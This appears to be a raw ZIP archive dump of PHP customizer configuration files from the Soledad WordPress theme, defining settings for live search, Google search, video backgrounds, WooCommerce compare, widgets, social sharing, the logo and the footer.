	'label'    => esc_html__( 'Ajax Live Search', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'Enable Ajax Live Search', 'soledad' ),
	'id'       => 'penci_ajxs_enable',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Show Post Thumbnail', 'soledad' ),
	'id'       => 'penci_ajxs_thumb',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Show Post Format Icon', 'soledad' ),
	'id'       => 'penci_ajxs_fmat_icon',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Show Post Date', 'soledad' ),
	'id'       => 'penci_ajxs_date',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Maximum Return Items', 'soledad' ),
	'id'       => 'penci_ajxs_count',
	'type'     => 'soledad-fw-number',
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Limit Post Title Words', 'soledad' ),
	'id'       => 'penci_ajxs_title_words',
	'type'     => 'soledad-fw-number',
	'default'  => 8,
	'sanitize' => 'penci_sanitize_number_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => esc_html__( 'Ajax Live Search Font Size', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading_02',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_ajaxsearch_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ajaxsearch_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_ajaxsearch_meta_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ajaxsearch_meta_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Search Notice', 'soledad' ),
	'id'       => 'penci_ajaxsearch_notice_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_ajaxsearch_notice_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => esc_html__( 'Ajax Live Search Style', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading_03',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_title_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_title_hcl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_meta_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Hover Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_meta_hcl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Notice Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_notice_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_borders_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Result Item Background Color', 'soledad' ),
	'id'       => 'penci_ajaxsearch_bg_cl',
	'active_callback' => [
		[
			'setting'  => 'penci_ajxs_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => esc_html__( 'Google Search Result', 'soledad' ),
	'id'       => 'penci_gsr_heading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field',
);

$options[] = array(
	'label'    => __( 'Replace WordPress Search Result by Google Search', 'soledad' ),
	'id'       => 'penci_gsr_enable',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'       => __( 'Google Search Engine ID', 'soledad' ),
	'id'          => 'penci_gsr_id',
	'type'        => 'soledad-fw-text',
	'default'     => '',
	'description' => __( 'Register to Google Custom Search Engine and get your Google Search Engine ID here: <a class="wp-customizer-link" href="https://www.google.com/cse/" target="_blank">https://www.google.com/cse/</a>', 'soledad' ),
	'active_callback' => [
		[
			'setting'  => 'penci_gsr_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Show Google Search Form on Search Result Page', 'soledad' ),
	'id'       => 'penci_gsr_searchform',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'active_callback' => [
		[
			'setting'  => 'penci_gsr_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

$options[] = array(
	'label'    => __( 'Open Search Result In:', 'soledad' ),
	'id'       => 'penci_gsr_target',
	'type'     => 'soledad-fw-select',
	'default'  => '_self',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => [
		'_self'  => 'Same Tab',
		'_blank' => 'New Tab',
	],
	'active_callback' => [
		[
			'setting'  => 'penci_gsr_enable',
			'operator' => '==',
			'value'    => true,
		]
	],
);

return $options;
PK     N\?IP	  P	  M  inc/customizer/config/sections/pencidesign_section_fvideo_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Enable Featured Video Background', 'soledad' ),
	'id'       => 'penci_enable_featured_video_bg',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
	'label'    => __( 'Background Image Display Replace Video On Tablet & Mobile', 'soledad' ),
	'id'       => 'penci_featured_video_img_mobile',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image'
);
$options[] = array(
	'label'    => __( 'Video Youtube URL', 'soledad' ),
	'id'       => 'penci_featured_video_url',
	'type'     => 'soledad-fw-text',
	'sanitize' => 'esc_url_raw'
);
$options[] = array(
	'label'    => __( 'Featured Video Background Height', 'soledad' ),
	'id'       => 'penci_featured_video_height',
	'default'  => '600',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_video_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '600',
		),
	),
);
$options[] = array(
	'label'       => __( 'Start Video At', 'soledad' ),
	'description' => __( 'Unit is second', 'soledad' ),
	'id'          => 'penci_featured_video_start',
	'default'     => '0',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_featured_video_start',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 's',
			'default' => '0',
		),
	),
);
$options[] = array(
	'label'    => __( 'Add Custom Image on Video Background', 'soledad' ),
	'id'       => 'penci_featured_video_image',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-text'
);
$options[] = array(
	'label'    => __( 'Heading Text On Video Background', 'soledad' ),
	'id'       => 'penci_featured_video_text_heading',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text'
);
$options[] = array(
	'label'    => __( 'Sub Heading Text On Video Background', 'soledad' ),
	'id'       => 'penci_featured_video_sub_heading',
	'type'     => 'soledad-fw-textarea',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field'
);

return $options;
PK     N\OO
    K  inc/customizer/config/sections/pencidesign_woo_compare_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable compare', 'soledad' ),
	'description'=>__('Enable compare functionality built in with the theme.','soledad'),
	'id'          => 'penci_woocommerce_compare',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'id'       => 'penci_woo_shop_hide_compare_icon',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Header Compare Icon', 'soledad' ),
	'type'     => 'soledad-fw-toggle'
);
if ( function_exists( 'penci_get_pages_option' ) ) {
	$options[] = array(
		'default'     => '',
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Compare page', 'soledad' ),
		'description'=>__('Select a page for the compare table. It should contain the shortcode: [penci_compare_table]','soledad'),
		'id'          => 'penci_woocommerce_compare_page',
		'type'        => 'soledad-fw-select',
		'choices'     => penci_get_pages_option(),
	);
}
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show button on product grid', 'soledad' ),
	'description'=>__('Display compare product button on all products grids and lists.','soledad'),
	'id'          => 'penci_woocommerce_compare_show',
	'type'        => 'soledad-fw-toggle',
);


$product_attributes = array();

if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
	$product_attributes = wc_get_attribute_taxonomies();
}


$attr_options = array(
	'description'  => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_desc' ),
		'value' => 'description',
	),
	'dimensions'   => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_demensions' ),
		'value' => 'dimensions',
	),
	'weight'       => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_weight' ),
		'value' => 'weight',
	),
	'availability' => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_availability' ),
		'value' => 'availability',
	),
	'sku'          => array(
		'name'  => penci_woo_translate_text( 'penci_woo_trans_sku' ),
		'value' => 'sku',
	),

);

if ( count( $product_attributes ) > 0 ) {
	foreach ( $product_attributes as $attribute ) {
		$attr_options[ 'pa_' . $attribute->attribute_name ] = array(
			'name'  => wc_attribute_label( $attribute->attribute_label ),
			'value' => 'pa_' . $attribute->attribute_name,
		);
	}
}


$options[] = array(
	'default'     => '',
	'type'        => 'soledad-fw-multi-check',
	'sanitize'    => 'penci_sanitize_multiple_checkbox',
	'label'       => __( 'Select compare fields', 'soledad' ),
	'description'=>__('Check a fields display on compare page.','soledad'),
	'id'          => 'penci_woocommerce_compare_fields',
	'multiple'    => 999,
	'choices'     => $attr_options,
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Quick Text Translate', 'soledad' ),
	'id'       => 'penci_woo_section_compare_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_trans_compare_empty_title',
	'default'  => 'Compare list is empty.',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Empty compare heading text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'     => 'No products added in the compare list. You must add some products to compare them.<br> You will find a lot of interesting products on our "Shop" page.',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Empty compare text', 'soledad' ),
	'description'=>__('Text will be displayed if user don\'t add any products to compare','soledad'),
	'id'          => 'penci_woocommerce_compare_empty_text',
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     N\`U#S  S  A  inc/customizer/config/sections/penci_menu_hbg_widgets_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Space Between Widgets', 'soledad' ),
	'id'       => 'penci_mhbg_widget_margin',
	'ids'      => array(
		'desktop' => 'penci_mhbg_widget_margin',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase Widget Heading', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Widget Heading Text Size', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_size',
	'ids'      => array(
		'desktop' => 'penci_mhbgwidget_heading_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Style', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __( 'Default', 'soledad' ),
		'style-1'           => __( 'Style 1', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_image_9',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading9_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __( 'No Repeat', 'soledad' ),
		'repeat'    => __( 'Repeat', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sidebar Widget Heading Align', 'soledad' ),
	'id'       => 'penci_mhbgwidget_heading_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''               => __( 'Default', 'soledad' ),
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align Icon on Style 15', 'soledad' ),
	'id'       => 'penci_hbg_icon_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''              => __( 'Default( follow Sidebar )', 'soledad' ),
		'pciconp-right' => __( 'Right', 'soledad' ),
		'pciconp-left'  => __( 'Left', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Icon on Style 15', 'soledad' ),
	'id'       => 'penci_hbg_icon_design',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''             => __( 'Default( follow Sidebar )', 'soledad' ),
		'pcicon-right' => __( 'Arrow Right', 'soledad' ),
		'pcicon-left'  => __( 'Arrow Left', 'soledad' ),
		'pcicon-down'  => __( 'Arrow Down', 'soledad' ),
		'pcicon-up'    => __( 'Arrow Up', 'soledad' ),
		'pcicon-star'  => __( 'Star', 'soledad' ),
		'pcicon-bars'  => __( 'Bars', 'soledad' ),
		'pcicon-file'  => __( 'File', 'soledad' ),
		'pcicon-fire'  => __( 'Fire', 'soledad' ),
		'pcicon-book'  => __( 'Book', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Widget Heading', 'soledad' ),
	'id'       => 'penci_mhbgwidget_remove_border_outer',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Widget Heading', 'soledad' ),
	'id'       => 'penci_mhbgwidget_remove_arrow_down',
	'type'     => 'soledad-fw-toggle',
);

return $options;
PK     N\tی~  ~  M  inc/customizer/config/sections/pencidesign_general_social_sharing_section.phpnu [        <?php
$options           = [];
$list_block_social = array(
	'plike'       => array( esc_html__( 'Hide Like Post', 'soledad' ), '' ),
	'facebook'    => array( esc_html__( 'Hide Facebook Share Button', 'soledad' ), '' ),
	'twitter'     => array( esc_html__( 'Hide Twitter Share Button', 'soledad' ), '' ),
	'pinterest'   => array( esc_html__( 'Hide Pinterest Share Button', 'soledad' ), '' ),
	'linkedin'    => array( esc_html__( 'Hide Linkedin Share Button', 'soledad' ), '' ),
	'tumblr'      => array( esc_html__( 'Hide Tumblr Share Button', 'soledad' ), '' ),
	/* 'messenger'        => array( esc_html__( 'Hide Share Messenger Button', 'soledad' ), '' ), */
	'vk'          => array( esc_html__( 'Hide VKontakte Share Button', 'soledad' ), '' ),
	'ok'          => array( esc_html__( 'Hide Odnoklassniki Share Button', 'soledad' ), '' ),
	'reddit'      => array( esc_html__( 'Hide Reddit Share Button', 'soledad' ), '' ),
	'stumbleupon' => array( esc_html__( 'Hide Stumbleupon Share Button', 'soledad' ), '' ),
	'threads'     => array( esc_html__( 'Hide Threads Share Button', 'soledad' ), '' ),
	'bluesky'     => array( esc_html__( 'Hide Bluesky Share Button', 'soledad' ), '' ),
	'whatsapp'    => array(
		esc_html__( 'Hide Whatsapp Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'telegram'    => array(
		esc_html__( 'Hide Telegram Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'line'        => array(
		esc_html__( 'Hide LINE Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'pocket'      => array( esc_html__( 'Hide Pocket Share Button', 'soledad' ), '' ),
	'skype'       => array( esc_html__( 'Hide Skype Share Button', 'soledad' ), '' ),
	'viber'       => array(
		esc_html__( 'Hide Viber Share Button', 'soledad' ),
		esc_html__( 'Works for Mobile Only', 'soledad' )
	),
	'email'       => array( esc_html__( 'Hide Email Share Button', 'soledad' ), '' ),
	'link'        => array( esc_html__( 'Hide Copy Link Button', 'soledad' ), '' ),
);
foreach ( $list_block_social as $social_id => $social_label ) {
	$default = '';
	if ( in_array( $social_id, array(
		'messenger',
		'vk',
		'ok',
		'pocket',
		'skype',
		'viber',
		'linkedin',
		'tumblr',
		'reddit',
		'stumbleupon',
		'whatsapp',
		'telegram',
		'link',
		'threads',
		'bluesky',
		'line'
	) ) ) {
		$default = 1;
	}
	$options[] = array(
		'label'       => $social_label[0],
		'description' => $social_label[1],
		'type'        => 'soledad-fw-toggle',
		'id'          => 'penci__hide_share_' . $social_id,
		'sanitize'    => 'penci_sanitize_checkbox_field',
		'default'     => $default
	);
}
$options[] = array(
	'label'       => __( 'Custom Sharing Text for Twitter', 'soledad' ),
	'description' => __( 'Custom prefix text on preview share of Twitter', 'soledad' ),
	'id'          => 'penci_post_twitter_share_text',
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label' => __( 'Post Reactions', 'soledad' ),
	'id'    => 'penci_post_reactions_heading_01',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Enable the Post Reactions', 'soledad' ),
	'id'       => 'penci_post_reactions_enable',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Post Reactions Items', 'soledad' ),
	'id'       => 'penci_post_reactions_items',
	'type'     => 'soledad-fw-select',
	'default'  => [ 'like', 'love', 'haha', 'wow', 'sad', 'angry' ],
	'multiple' => 999,
	'choices'  => [
		'like'  => __( 'Like', 'soledad' ),
		'love'  => __( 'Love', 'soledad' ),
		'haha'  => __( 'Haha', 'soledad' ),
		'wow'   => __( 'Wow', 'soledad' ),
		'wow'   => __( 'Wow', 'soledad' ),
		'sad'   => __( 'Sad', 'soledad' ),
		'angry' => __( 'Angry', 'soledad' ),
	],
	'sanitize' => 'penci_sanitize_choices_field'
);

return $options;
PK     N\=    G  inc/customizer/config/sections/pencidesign_logo_header_logo_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Upload Logo', 'soledad' ),
	'id'       => 'penci_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Upload Logo for Mobile', 'soledad' ),
	'id'       => 'penci_mobile_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Set A Max Width for Logo', 'soledad' ),
	'id'       => 'penci_logo_max_width',
	'ids'      => array(
		'desktop' => 'penci_logo_max_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_logo_height_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Set A Height for Logo Image', 'soledad' ),
	'id'       => 'penci_logo_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_logo_height',
		'mobile'  => 'penci_logo_height_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize'    => 'esc_url_raw',
	'label'       => __( 'Upload Logo for Transparent Header style 6, 9, 10 & 11', 'soledad' ),
	'id'          => 'penci_upload_transparent_logo',
	'type'        => 'soledad-fw-image',
	'description'=>__('Important Note: This option apply when you use transparent header only','soledad'),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Link for Logo Image', 'soledad' ),
	'id'          => 'penci_custom_url_logo',
	'description'=>__('By default, logo image will link to homepage url. If you want to link the logo for another URL - fill here. Include http:// or https:// on the link','soledad'),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'         => '40',
	'sanitize'        => 'absint',
	'type'            => 'soledad-fw-size',
	'label'           => __( 'Logo Padding Top & Bottom', 'soledad' ),
	'sub_description' => __( 'This option does not apply for header layout 6, 9, 10, 11', 'soledad' ),
	'id'              => 'penci_header_padding',
	'ids'             => array(
		'desktop' => 'penci_header_padding',
	),
	'choices'         => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Overflow Logo for Header Layout 10 & 11', 'soledad' ),
	'id'       => 'penci_overflow_logo',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Max Width for Sticky Logo on Header 10 & 11', 'soledad' ),
	'description' => __( 'This option just apply when you use overflow logo for header layout 10 & 11', 'soledad' ),
	'id'          => 'penci_logo_max_width_overflow',
	'ids'         => array(
		'desktop' => 'penci_logo_max_width_overflow',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\.  .  G  inc/customizer/config/sections/penci_section_footer_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'Add Google Adsense/Custom HTML Code Above Footer', 'soledad' ),
	'id'          => 'penci_footer_adsense',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => __( 'Footer Container Width', 'soledad' ),
	'id'       => 'penci_footer_width',
	'type'     => 'soledad-fw-select',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		''          => esc_html__( 'Width: 1170px', 'soledad' ),
		'1400'      => esc_html__( 'Width: 1400px', 'soledad' ),
		'fullwidth' => esc_html__( 'Full Width', 'soledad' )
	)
);
$options[] = array(
	'label'    => __( 'Re-order Sections on the Footer', 'soledad' ),
	'id'       => 'penci_footer_order_sections',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'widgets-instagram-signupform-footersocial' => __( 'Widgets Area - Instagram - SignUp Form - Social Icons', 'soledad' ),
		'widgets-instagram-footersocial-signupform' => __( 'Widgets Area - Instagram - Social Icons - SignUp Form', 'soledad' ),
		'widgets-footersocial-instagram-signupform' => __( 'Widgets Area - Social Icons - Instagram - SignUp Form', 'soledad' ),
		'widgets-footersocial-signupform-instagram' => __( 'Widgets Area - Social Icons - SignUp Form - Instagram', 'soledad' ),
		'widgets-signupform-footersocial-instagram' => __( 'Widgets Area - SignUp Form - Social Icons - Instagram', 'soledad' ),
		'widgets-signupform-instagram-footersocial' => __( 'Widgets Area - SignUp Form - Instagram - Social Icons', 'soledad' ),
		'instagram-widgets-signupform-footersocial' => __( 'Instagram - Widgets Area - SignUp Form - Social Icons', 'soledad' ),
